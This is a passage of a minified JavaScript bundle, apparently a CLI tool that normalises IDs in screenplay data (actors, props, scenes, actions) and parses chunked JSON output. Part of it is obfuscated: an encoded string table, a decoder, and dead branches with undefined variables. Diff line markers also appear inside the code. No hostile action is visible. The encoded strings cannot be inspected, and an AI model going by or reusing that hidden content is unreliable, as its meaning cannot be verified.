ft(t.episodes)?t.episodes:[])if(!(!Ze(a)||!ft(a.scenes))){for(let d of a.scenes)if(Ze(d)){Ze(d.location)&&r("locations",d.location.location_id);for(let p of ft(d.actors)?d.actors:[])Ze(p)&&r("actors",p.actor_id);for(let p of ft(d.props)?d.props:[])Ze(p)&&r("props",p.prop_id);for(let p of ft(d.actions)?d.actions:[])Ze(p)&&Ze(p.speaker)&&r("actors",p.speaker.actor_id)}}for(let{key:a,idField:d}of jp)for(let p of ft(t[a])?t[a]:[])Ze(p)&&r(a,p[d]);for(let{key:a,prefix:d}of jp)o[a].forEach((p,l)=>{n[a][p]=`${d}_${La(l+1)}`});for(let{key:a,idField:d}of jp){let p=(ft(t[a])?t[a]:[]).filter(Ze),l=n[a],f=new Map;for(let u of p){let y=u[d],m=l[y]??y;u[d]=m;let g=0;for(let w of ft(u.states)?u.states:[]){if(!Ze(w)||typeof w.state_id!="string"||w.state_id==="default")continue;let h=`st_${La(++g)}`;n.states[w.state_id]=h,w.state_id=h}f.set(m,u)}t[a]=[...f.entries()].sort((u,y)=>u[0]<y[0]?-1:1).map(u=>u[1])}let s=0;(ft(t.episodes)?t.episodes:[]).forEach((a,d)=>{if(Ze(a)){if(typeof a.episode_id=="string"){let p=`ep_${La(d+1)}`;n.episodes[a.episode_id]=p,a.episode_id=p}for(let p of ft(a.scenes)?a.scenes:[])if(Ze(p)&&typeof p.scene_id=="string"){let l=`scn_${La(++s)}`;n.scenes[p.scene_id]=l,p.scene_id=l}}});let c=(a,d,p)=>{!Ze(a)||typeof a[d]!="string"||(a[d]=n[p][a[d]]??a[d],typeof a.state_id=="string"&&n.states[a.state_id]&&(a.state_id=n.states[a.state_id]))};for(let a of ft(t.episodes)?t.episodes:[])if(!(!Ze(a)||!ft(a.scenes))){for(let d of a.scenes)if(Ze(d)){c(d.location,"location_id","locations");for(let p of ft(d.actors)?d.actors:[])c(p,"actor_id","actors");for(let p of ft(d.props)?d.props:[])c(p,"prop_id","props");for(let p of ft(d.actions)?d.actions:[])Ze(p)&&c(p.speaker,"actor_id","actors")}}return{script:t,idMap:n}}import{createHash as XS}from"node:crypto";function ss(e){let t=v(e).trim();if(!t.includes(":"))throw new S("Target invalid.",{exitCode:B,errorCode:"TARGET_INVALID",hint:"Use a concrete asset target.",data:{expected:["target: actor:<id>, location:<id>, or prop:<id>"],actual:[t||"<empty>"]}});let n=t.indexOf(":"),o=t.slice(0,n).trim(),i=t.slice(n+1).trim();if(!gu.has(o)||!i)throw new S("Target invalid.",{exitCode:B,errorCode:"TARGET_INVALID",hint:"Use actor, location, or prop with a non-empty id.",data:{expected:["target: actor:<id>, location:<id>, or prop:<id>"],actual:[t]}});return[o,i]}function $o(){return{version:3,actor:{},location:{},prop:{},state:{},episode:{},scene:{},action:{}}}function Ht(e,t){let n=e.get(t);if(n===void 0)throw new Error(`Missing mapped ID for ${t}`);return n}function sr(e,t=$o(),n={}){if(t.version!==3)throw new Error(`Unsupported v4 identity map version: ${String(t.version)}`);let o=structuredClone(t),i={actor:new Map,location:new Map,prop:new Map},r={actor:new Set,location:new Set,prop:new Set,episode:new Set,scene:new Set,action:new Set},s=(I,O,U,C)=>{let R=U[O];if(R!==void 0){if(!V(I,R))throw new Error(`Invalid persisted ${I} ID for ${O}: ${R}`);if(C.has(R))throw new Error(`Duplicate persisted ${I} ID: ${R}`);return C.add(R),R}let K=qo(I,C);return C.add(K),U[O]=K,K},c=(I,O)=>n[I]?.[O]??O;for(let I of e.actors){let O=s("actor",c("actor",I.actor_id),o.actor,r.actor);i.actor.set(I.actor_id,O)}for(let I of e.locations){let O=s("location",c("location",I.location_id),o.location,r.location);i.location.set(I.location_id,O)}for(let I of e.props){let O=s("prop",c("prop",I.prop_id),o.prop,r.prop);i.prop.set(I.prop_id,O)}let a=new Map,d=(I,O,U)=>{let C=new Map,R=new Set,K=c(I,O),Z=o.state[K]??{};o.state[K]=Z;let Re=U.map(ie=>{let j;if(ie.state_id==="default")j="default";else{let vt=n.state?.[O]?.[ie.state_id]??ie.state_id,P=Z[vt];if(P!==void 0){if(!V("state",P))throw new Error(`Invalid persisted state ID for ${O}/${ie.state_id}: ${P}`);if(R.has(P))throw new Error(`Duplicate persisted state ID on ${O}: ${P}`);j=P}else j=qo("state",R),Z[vt]=j}return R.add(j),C.set(ie.state_id,j),{...ie,state_id:j}});return a.set(O,C),Re},p=(I,O)=>O===void 0?void 0:Ht(a.get(I)??new Map,O),l=e.actors.map(I=>({...I,actor_id:Ht(i.actor,I.actor_id),states:d("actor",I.actor_id,I.states)})),f=e.locations.map(I=>({...I,location_id:Ht(i.location,I.location_id),states:d("location",I.location_id,I.states)})),u=e.props.map(I=>({...I,prop_id:Ht(i.prop,I.prop_id),states:d("prop",I.prop_id,I.states)})),y=I=>{if("actor_id"in I){let O=p(I.actor_id,I.state_id);return{actor_id:Ht(i.actor,I.actor_id),...O===void 0?{}:{state_id:O}}}return I.label===void 0?{kind:I.kind}:{kind:I.kind,label:I.label}},m=I=>{if(I.includes(":")){let[U,C]=ss(I);return Ht(U==="actor"?i.actor:U==="location"?i.location:i.prop,C)}let O=i.actor.get(I)??i.location.get(I)??i.prop.get(I);if(O===void 0)throw new Error(`Missing transition target mapping for ${I}`);return O},g=(I,O)=>{let U=s("action",O,o.action,r.action),C=I.transition_prompt===void 0?{}:{transition_prompt:{...I.transition_prompt,target:m(I.transition_prompt.target)}};if(I.type==="dialogue"||I.type==="inner_thought"){if(I.speaker===void 0)throw new Error(`Speaking action ${I.content.slice(0,40)} has no speaker`);return{action_id:U,type:I.type,content:I.content,speaker:y(I.speaker),...I.emotion===void 0?{}:{parenthetical:I.emotion},...C,...I.extend===void 0?{}:{extend:I.extend}}}return{action_id:U,type:I.type,content:I.content,...C,...I.extend===void 0?{}:{extend:I.extend}}},w=(I,O)=>[p(I,O??"default")??"default"],h=(I,O)=>{let U=new Map;for(let C of I){let R=Ht(i.actor,C.actor_id),K=U.get(R)??new Set;w(C.actor_id,C.state_id).forEach(Z=>K.add(Z)),U.set(R,K)}for(let C of O){if(C.speaker===void 0||!("actor_id"in C.speaker))continue;let R=C.speaker.actor_id,K=Ht(i.actor,R),Z=U.get(K)??new Set;w(R,C.speaker.state_id).forEach(Re=>Z.add(Re)),U.set(K,Z)}return[...U].map(([C,R])=>({actor_id:C,state_ids:[...R].sort()}))},_=I=>{let O=new Map;for(let U of I){let C=Ht(i.prop,U.prop_id),R=O.get(C)??new Set;w(U.prop_id,U.state_id).forEach(K=>R.add(K)),O.set(C,R)}return[...O].map(([U,C])=>({prop_id:U,state_ids:[...C].sort()}))},x=new Set,E=new Set,A=new Set,k={version:4,title:e.title,worldview:e.worldview,style:e.style,...e.worldview_raw===void 0?{}:{worldview_raw:e.worldview_raw},...e.synopsis===void 0?{}:{synopsis:e.synopsis},...e.logline===void 0?{}:{logline:e.logline},...e.theme===void 0?{}:{theme:e.theme},...e.main_characters===void 0?{}:{main_characters:e.main_characters},...e.extend===void 0?{}:{extend:e.extend},actors:l,locations:f,props:u,episodes:e.episodes.map(I=>{let O=n.episode?.[I.episode_id]??I.episode_id;x.add(O);let U=s("episode",O,o.episode,r.episode);return{...I,episode_id:U,scenes:I.scenes.map(C=>{let R=`${I.episode_id}/${C.scene_id}`,K=n.scene?.[R]??R;E.add(K);let Z=s("scene",K,o.scene,r.scene),Re=new Map;return{...C,scene_id:Z,location:C.location===null?null:{location_id:Ht(i.location,C.location.location_id),state_ids:w(C.location.location_id,C.location.state_id)},actors:h(C.actors,C.actions),props:_(C.props),actions:C.actions.map((ie,j)=>{let vt=`${R}#${j}`,P=JSON.stringify(In(ie)),ce=(Re.get(P)??0)+1;Re.set(P,ce);let Se=XS("sha256").update(P).digest("hex"),Ot=n.action?.[vt]??`${K}:action:${Se}:${ce}`;return A.add(Ot),g(ie,Ot)})}})}})},N=(I,O)=>{for(let U of Object.keys(I))O.has(U)||delete I[U]};N(o.actor,new Set(e.actors.map(I=>c("actor",I.actor_id)))),N(o.location,new Set(e.locations.map(I=>c("location",I.location_id)))),N(o.prop,new Set(e.props.map(I=>c("prop",I.prop_id)))),N(o.episode,x),N(o.scene,E),N(o.action,A);let M=[...e.actors.map(I=>({id:c("actor",I.actor_id),oldId:I.actor_id,states:I.states})),...e.locations.map(I=>({id:c("location",I.location_id),oldId:I.location_id,states:I.states})),...e.props.map(I=>({id:c("prop",I.prop_id),oldId:I.prop_id,states:I.states}))];N(o.state,new Set(M.map(I=>I.id)));for(let I of M)N(o.state[I.id]??{},new Set(I.states.map(O=>n.state?.[I.oldId]?.[O.state_id]??O.state_id)));return{script:k,identityMap:o}}import*as Ne from"node:fs";import*as hi from"node:path";function yi(e,t){let n=hi.dirname(e);Ne.mkdirSync(n,{recursive:!0});let o=hi.join(n,`.${hi.basename(e)}.${process.pid}.tmp`),i=Ne.openSync(o,"w");try{Ne.writeFileSync(i,t),Ne.fsyncSync(i)}finally{Ne.closeSync(i)}Ne.renameSync(o,e)}function eI(e,t){yi(e,JSON.stringify(t,null,2)+`
242
+ `)}function tI(e){return JSON.parse(Ne.readFileSync(e,"utf-8"))}var mt=class{constructor(t){this.root=t}root;abs(t){return hi.join(this.root,t)}ensure(){Ne.mkdirSync(this.root,{recursive:!0})}passDir(t){let n=this.abs(t);return Ne.mkdirSync(n,{recursive:!0}),n}readText(t){return Ne.readFileSync(this.abs(t),"utf-8")}writeText(t,n){yi(this.abs(t),n)}writeJson(t,n){eI(this.abs(t),n)}readJson(t){return tI(this.abs(t))}has(t){return Ne.existsSync(this.abs(t))}path(t){return this.abs(t)}clearError(t){let n=this.abs(t);Ne.existsSync(n)&&Ne.rmSync(n)}};function rn(e,t){e=e-0;let n=zp(),o=n[e];if(rn.wCYmoh===void 0){var i=function(c){let a="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=",d="",p="";for(let l=0,f,u,y=0;u=c.charAt(y++);~u&&(f=l%4?f*64+u:u,l++%4)?d+=String.fromCharCode(255&f>>(-2*l&6)):0)u=a.indexOf(u);for(let l=0,f=d.length;l<f;l++)p+="%"+("00"+d.charCodeAt(l).toString(16)).slice(-2);return decodeURIComponent(p)};rn.ccSjUe=i,rn.dKlJjl={},rn.wCYmoh=!0}let r=n[0];rn.sBhMJx!==r&&(rn.dKlJjl={},rn.sBhMJx=r);let s=rn.dKlJjl[e];return s===void 0?(o=rn.ccSjUe(o),rn.dKlJjl[e]=o):o=s,o}var Y=rn,nI=[Y(40),Y(37),Y(24),Y(75),Y(5),Y(21),"",Y(65),Y(13),Y(34),Y(62),"",Y(70),Y(35),Y(42),Y(27),Y(39),Y(43),Y(0),Y(68),Y(55),"",Y(77),Y(18),Y(58),Y(10),Y(11),Y(51),Y(59),Y(66),Y(8),Y(3),Y(76),"",Y(15),Y(4),Y(9),Y(6),Y(20),Y(14),Y(45),Y(48),Y(38),Y(54)][Y(74)](`
243
243
  `);function oI(e){let t=Y,n=e[t(73)]===0?t(47):t(23);return[t(78),n,t(49),"",e[t(53)]][t(74)](`
244
- `)}function Pa(e,t){let n=Y;return new S(e,{exitCode:X,errorCode:n(12),hint:n(44),data:{actual:t}})}function iI(e){let t=Y;return typeof e!==t(29)||e===null||Array[t(46)](e)?!1:Object[t(61)](e)[t(1)]===1&&t(33)in e&&Array[t(46)](e[t(33)])}function Qp(e,t){let n=Y;if(!iI(e))throw Pa(n(19)+t[n(73)]+n(63),[n(31)]);let o={chunk:t[n(73)],line_start:t[n(64)],line_end:t[n(36)]},i;try{let r=e[n(33)][n(25)](s=>{let c=n;if(typeof s!==c(29)||s===null||Array[c(46)](s)||Object[c(26)](s,c(56))){if(c(72)!==c(30))throw new we(c(57),1);if(typeof _0x5a19bf!==c(29)||_0x5b66f6===null||_0x10f05d[c(46)](_0x23b052)||_0x733702[c(26)](_0x1cb121,c(56)))throw new _0x3dba95(c(57),1);return _0x5020a9[c(32)]({..._0x80cb75,source:_0x442727})}return JSON[c(32)]({...s,source:o})})[n(74)](`
245
- `);i=ss(r)}catch(r){throw r instanceof we?Pa(n(19)+t[n(73)]+": "+r[n(17)],[r[n(17)]]):r}if(i[n(1)]===0&&t[n(53)][n(52)]()!=="")throw n(60)===n(22)?_0x1b2e63(n(19)+_0x2d4dff[n(73)]+n(63),[n(31)]):Pa(n(19)+t[n(73)]+n(69),[n(2)]);return i}function Hp(){let e=["lsdOVAZLNlRVVjP7iMTPBMqIoIj0CMfUC2L0Aw9UiIWIy29UDgvUDci6iUw/OowUNUI9RoAnOUAiKoEUGos9K+s4REAwH+EAHoI9RowCUUAwH+wTLYj944cc5BI46kEb5Qc85BYp6k+n5lMF6kAb57+76k+r77Ym5l6l5AAcigbgteftsejbq0TGiokgKIbG6zEQ5zUEyooaGwbcqunlifrpifbsrvnftLrGiokgKIbG5zUE5yIW546W5A6EyooaGG","BgvUz3rO","CMvJB3jKCZOGma","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","C2XPy2u","icdOKAhOR63LIQJKVzWGyfjPy2HHCMqGyxzHBSoNysWGywDHCNjHievTAwX5ihbLBgeGCM91CgeGzsbHihb1EgeGCgfYysbJAw1HlMaG4OAsigfJDgLVBI5JB250zw50pwbsAwnOyxjK5lIk5yMn5OQt5l2prw1PBhNNMOtOOApMNi3VViZMIORLPBNMI73KUOBOTBFMNAxJGijG44cc","ywn0Aw9UioEBToAoPEwgMEwfT+s9K+s6UUEjQEwqJE+8JoAyJUEHRUIHJowkQoIaHEoaGEwkQos9NooaGEs9NoEuQowVUEIXOEoaGEEPUUMxToAwUEwqKEwsJowpR+INGEE7K+AENo+8M+wKMUs4QUwfIowqJUwpKEEuN+EAHowkQos9NooaGEwpJEw6LooaGEAoPEINPUoaGEMbK+wfT+wpMowmLUAiLUMvNowKTowpMowmLUAmIEwoN+AwH+MHUUw6J+wiHUwiQ+AjV+I9VE+8Jos4JEwoI+AiKowjP+AdHEAMGUI/SooaGUI6Q+s7VEAyJUEHRUAxTUA2IoINO+s7O+IVJE+8JoAxOoAZLEEHRUIUPoAxTUs/NEAmGEwpR+AGUoAFPEApJ+I/So+8Jos4JEEmNoA1I+oaGUwpQUEuQowoN+AwH+AyJUEHRUwgMEwhUUEAHoIHQoAdHEoaGEINHUE6V+oaGEIcOUs9K+oaGEMbK+wfT+AiLUEoR+wIG+wpJEw6LoIHQoI+VUEkTUAaGE+8Jos4JEEuQoAdHEE7QUoaGEAaGEw6PUAiLUw/G+EqHUwiPoAwREABV+s7O+wpR+INGEs6I+wUNUoaGG","icdMUPaGyoMbK+wfT++8MUwPMUs5PU+8JoEoIEs9QwaG4OAsihnJzw5LlNbYB3bZpvT7iM5HBwuIoIlLQzRKUAyIFsX7iM5HBwuIoIlNJONKVAKIFv3JGii","icdMUPaGyokwSYdNLllMJQJPL6JOGiZLHAxJGijGiokgKIbHy3rPB27VViXJB250zw50iowoU+AoIEAGVow8J+wjJEE8GcbG4PAZyooaGG","su5hrvnux05puK1bteLArv9gquLmruq","5B+f6Ag75OQk6l+z5lQB5Q2J5PAh5y6F5l2n5Ps+5zYOihjLy29YzhmG5PYa5yMn6z2I77YBzxbPC29KzsdLJ6RLNkJMUPdMLOFMNkZMMi7NOA7PM4BOVRNNLyZLPitLHPNLHAxJGilMOiFLH4BLIAFMNkZMSR/NLkJLJP/MNiNLNlRNLyZVVjVLSi/OR7tLKOZPNz7MOiFLH4BMLOFMNkZKVP3MJA7LNldNGRNLIiFMJAlJGihMMi7MMl7OT7pML7BJGihLJ5NKUOVNUR/LIiFMJAlMIjBMMi7NOA7OVAZLNlRLU7RNQ4SGC2nLBMxVVjVLKiZKUidOV57NU63LNlRNMOtMJihKUyxLPjBOSOZLJ5JLJjBLHPNLHAuGywn0Aw9U44cc","5lQ654MP5y+Q5yIx5yw35l2t5y2v5lQ66kEs6iMY77YB5A625PEpl+ACUUAEHc/NVQtKVzmV5RoB56EW5lIn5yIx5ywLigfJDg9YC+oaGUE+Pos9K+wwIUIVNEEAHcbZCgvHA2vYioEuQcb7iMTPBMqIoIjNCM91Ccj944cc","5Q+p56En6k6W5B2v5y+Q6io95l2/55sO5lIk6z2I5yIx5yE655Qe5A2x5Q6177Ym56Ab5Q2I5AkE5yQGig5HBwxJGif0zxH044cbBgLUzEoaGwvWAxnVzgvFDgL0BguG562j6iEQ5yIB5A2x5Q6144cc","ANnVBL9VyMPLy3q","BwvZC2fNzq","icdMUPaGyowCUJmTmIdML6uV5yAfiowUOUwoHwaG4OAsios4Gos4QIbZy2vUzE+8M3nWywnLiowpQUEuQcbPBNrLCMLVCI9LEhrLCMLVCU+8JhrPBwuG5y+Q55sOigrHEs9UAwDODc9KyxDUl2r1C2VJGilNMB3LPkKV5PEL6zE05B2sigrHEE+8JowKNoAzMI/LPjZPL7tLVziGBMLNAhtVViZMUixMMAGV6BUo5PIo5B2sigrHD27VViZPU4tMMi8V5ykn5PMA5B2sigr1C2VJGilLJP/MLOFMNkRNM7tMJQxLHPNMMi7ML7BVViZMOlNMJA7NHAFMMi7JGihKVzZMGA/JGihLPkNNQBRLKOZKUiRKUiVMLOFLIktMLQ3VVjVKUi3LVPFNNihNLAxMIjBLHPNNQBRKUllJGii","y2H1BMSG","5zcm5zYW54k56l+E57UT6jkz5AsQ5Awh5l+D55wz5lIa5lIQihnJzw5Liow5TUEuQcb0CMfUC2L0Aw9U77YB6lEO5zYW54k56jkz5AsQ5Awh5OYj5yMQ6l6r6Ag65BQp5OUg5OIq5AsA5lIQihnJzw5L77Ym5Q+p5zY65AgR5yAz6iEQ5BEX55QeigXVy2f0Aw9U44cbywn0B3jZ44cbChjVChmG5zkmihn0yxrL44cc","CMvJB3jKCYdMJiNMUPdMLOFMNkZLJ5hNLj/POBRLUO/MJPlLIjFVViZLJ6RMLl7MUPdMLOFMNkZKUk3LRP7PMyxLRzJLNkJNMOtLHOxLRRNVVjVKUi3OPOhOH4BPGkdOVRNNLyZVViZKUi3OPOhMJ5dKVPSGC291CMnLiowTL+AUTEoaGG","s2fYENy","6l+z5lIQ54Mh5Q615y+V6io95OM/5O6L5lIk5lIa54Mh5Q6155Qe5zcm5lIa5zY677YB5y+Q5PYj5RQq5PAh5PYS5yE6546W55YF5A6E5zY655wm5PE25OMn5BU656Ul5PAW5zY644cc","6ycq6kgm5Ase55cg5y6F5PAh77Ym5BM25zYO6l6t5yE65yMn6ycq6kgm6iEQ5Qoa5Q2J5PAh5PIV5zcM5ywO6yoO5OM/6l2944cc5lIa5lIQ5y6F5PAh5Q616jc95zcR5AsA5y+L5PE25B+f6Ag75l+D55wz5ywO6yoO5y+L5A2q77YB5y+V5lUL5OUg5OIq5AsA5P2H6k6W5B2v77Ym5l2g56Ab5Q2I5OIQ5PAT44cb5Pgy6kAb44cb5zci5BM25zco5RYp5y+L5OIw5y+Q5l+D55wz5Q616jc95yMn5y2k5Q6144cc5yQO5l2C57+76k+r5y+Q6io95Ps55y+y6kgO6l6+6k+T6kIa77Ym5lIn6io95yEp5Bcr5lQl5A6E44cc5lIn6kAb6l6t5yE66iEQ5Qoa6l+h56Il44cc","BwfW","AgfZt3DU","lsdLIQJKVzWV546V5Akd77YAEYjRAw5KiJOIywn0Aw9UiIWIy29UDgvUDci6iUw/OowUNUI9RoAnOUAiKoEUGos9K+s4REAwH+EAHowpR+AlJEArHoApJ+I/Scj944cc","CgfYC2u","B2jQzwn0","sNz4u1y","Aw52ywXPzcbZDhj1y3r1CMvKig91Dhb1Da","C3rYAw5NAwz5","CMvJB3jKCW","57UD5lIn6kAb5OQk6z2G5zco5yE6546W55Qe6zUg6l6555wm5O+q5yIW5BYa5As044cc","lsdPM4BOVRNNLyZVVjP7iMTPBMqIoIjLCgLZB2rLiIWIzxbPC29Kzsi6mtKSiNrPDgXLiJOI5y+V6ycj5Qch6AkyiN3JGijLCgLZB2rLiow/HEMHU+wpLUA6KoAwH+ACRowgMEAyJUEAHoMBHUwpT++8M+s5PUwqJEoaGEAlRowpT+oaGEAGH+MIMoAwH+wTL+MdVEs4JEIdVEA3T+I/MYbLCgLZB2rL44cc","y29Yzv9SAw5Lx2vUza","5PYa6AUy5lYy5ywi57QN5PIV5Q2J5PAh6zU25lII5AsX77YA5y6F5PAh5lIT55Qe5Q+p5lIa5P2H5yQO5l2C44cb546V5Akd5O+p5yAz44cb5A+555M944cb5yAf5B+d54US55M944cb55s75Asw6z+Z44cb5A2x5BMv5zkm6l2S5zY66yo95B+f6Ag75A6m5Pw06l+B5ywLihjLy29YzhpJGilNPOhMRAlLM6dLHOxLRRNPH43LPi3JGihMRkhOPOhJGihOV4FMUkhMGkFLVlRJGihNR4FLUyxPLB/JGihKVB/NLkJLPjBOR63MIjBPMR7KU6xLIiBNSBVOGiZNNihNLAxJGii","5Q+p5P2HigrPywXVz3vLiowpQUwCQowoN+AwH+AyJUEHRUE7MEwhUUAxTU+8JoAjJEAkIUwpKEwJSoAwUEw8J+oaGEwJSoMFS+ADPEA6KoAiLUs4JEAuUEwpMoI/NUE7REAaP+EAHoEFREs/G+s8ToMAJ+wkQos9NoI9RoAnOUAiKoEUGos9K+s4REAwHYbLBw90Aw9U77YB5B2X5zon6lwW5l2n44cb5AE/5yQ/44cb5O6L6kEM44cb6ygt5yw35OIw6l+E57UT5OcN55Qe5yQO5l2C5y2v54US5yAzigfJDgLVBUoaGUwoN+AwH+AYOEACIEIHQoA8LoAiLUwJSoMFS+IVGEAnRUAxTUECGEEvPsbLBw90Aw9U77Ym5lIn5OYj6k+T5Akd6kgL6ycG44cc","lsdLR7NNMB3VVjP7iMTPBMqIoIjKAwfSB2D1zsiSiNnWzwfRzxiIoNSIBMfTzsi6iUEuSIj9lcjJB250zw50iJOI5y6F6k+DiIWIzw1VDgLVBIi6iUwpR+MaIsj944cc","5l2G5PIV5yMN5PYS6kEe6iYd5yYw5zMO44cc5OQk57Uz5A6A55Qe5RQq5PAh5PYS5z2x6l2S5O2I5OIq57Ut5P6e5yYw5yMN5PYS6k6W5B2v44cc","z2vUzxjHDgvuzxH0","lsdLNlROVRNNLyZVVjP7iMTPBMqIoIjZy2vUzsiSiMvUDMLYB25Tzw50iJP7iNnWywnLiJOIAw50zxjPB3iIlcj0Aw1LiJOIzgf5iN0SiMXVy2f0Aw9UiJP7iM5HBwuIoIlLRQlLJOuIFsWIywn0B3jZiJPBxsWIChjVChmIoLTDFEoaGUs4JEIMGEI+K+whUIbZy2vUzsdNVjBLJ7FLRzFMRRxVViZNS7VNU5/KVjROH6ROOyZOV57NU63NVjBLJ7FJGilMR4/KUkOGC2nLBMuG6yo95B+f6Ag75AgR5yAzigvUDMLYB25Tzw50lNrPBwxVViZLJ6ROG73KVB/NLkGGzgf5Fg5Pz2H0FgrHD258zhvZA++8M+s+NEASOEwVUEw6LoAxPs/LPjWV5PMOl+AyJ+oaGG","lsdLHOxLV4pNI6ZNMB0V55s75Asw6z+Z77YAEYjRAw5KiJOIAw5UzxjFDgHVDwDODciSiNnWzwfRzxiIoNSIBMfTzsi6iUEuSIj9lcjJB250zw50iJOI5y6F6k+DiIWIzw1VDgLVBIi6iUwpR+MaIsj944cc","sw5ZCgvJDcb0AguGy2H1BMSGzxjYB3iGC2LKzwnHCIbHBMqGCMvYDw4GyhnJCMLWDgn0BcbPBMDLC3rGlG","6z2E5lQ654MP5y+r5AoW5RQq55QeihnWzwfRzxiUA2LUzcdLJ6RNLkGGC3LZDgvTFgjYB2fKy2fZDhXVzMzZy3jLzw58z3jVDxdVViZLJ6/NLkGGBgfIzwWG6kgL5ywf5zcn56EW77YB5yw35l2t5lQ654MP5AEl57Ui55sOihnWzwfRzxiUBMfTzEoaGG","AxnbCNjHEq","6l+z5PIV5RQq5PAh5lU25BYa5As077YB5Bcp6k+05OIw6z2E5Qch5yEg5PAh5PYS5lUo56YS5lIa5lIQ5y+V56gU6k6K55Qe54MP55cg56M66zE05BU656Ul6AAw5zY644cc","C3bLywTLCI5Uyw1Liow/HEMHU+wHQ+wgMEwoN+AwH+s4REIdVEEHRUIUPoEAHowfT+s9K+s6UUEjQEwqJEwTL+w5TUs/NEAmGEwoN+wNI+AlVowgME+8M3nJzw5LlMfJDg9YCYdKUi4Gywn0Aw9Uios4REwgJEASOEwhUUEoSoIVPEs6UUEjQEAxTUs9V+EuQowqJos4GoAlVowgMEoaGUEMGEATOUE/U+IVKEoaGEMFS+IVKEoaGEs4REAwH+wmLUs6UUEjQEwqJE+8Jos5N+EMGEATOUEuQooaJU+8N+oaJ+oaJU+8N++8N+oaJ+oaJUACQUEFPEoaJ+oaJNvUA25VD27JGi/NRyNLJAdKVy3LKi3VVjVOUQVKU73ML6dMS5xNOA7ORQtML7BMLlNNLkGGC3bLywTLCI5RAw5Kpw9MzNnJCMvLBU+8JoE+Pos9K+wfSEwqJowpKEwJSoEuQcbNCM91CooaGG","5lUL5lIl5Q2J5PAh5B+f6Ag76ycq6kgm44cb6ycq5y+L5A6m5Pw06l+B5ywLihjLy29YzhpVVjRLR7NNMB3LKOZLHOxLV4pNI6ZNMB3PGjdLRzFKV53NLzNLJP/OR63OQidVVjVLIQJKVzZJGihNJQ/LOOpJGihOVAZLNlRJGihMIBNMS6JLKOZOOAJMVjtMJ5dNPlRLV6dLRP7OVAZMJAlMIjdNROdKVzpKUk3MLOFVVjVKURRNIANLKi3LNkJMIydMNiNORRdLVzxKUk3KV53MJihLJP/MLOFMI7ZLHPNVViZKUi3NV7VO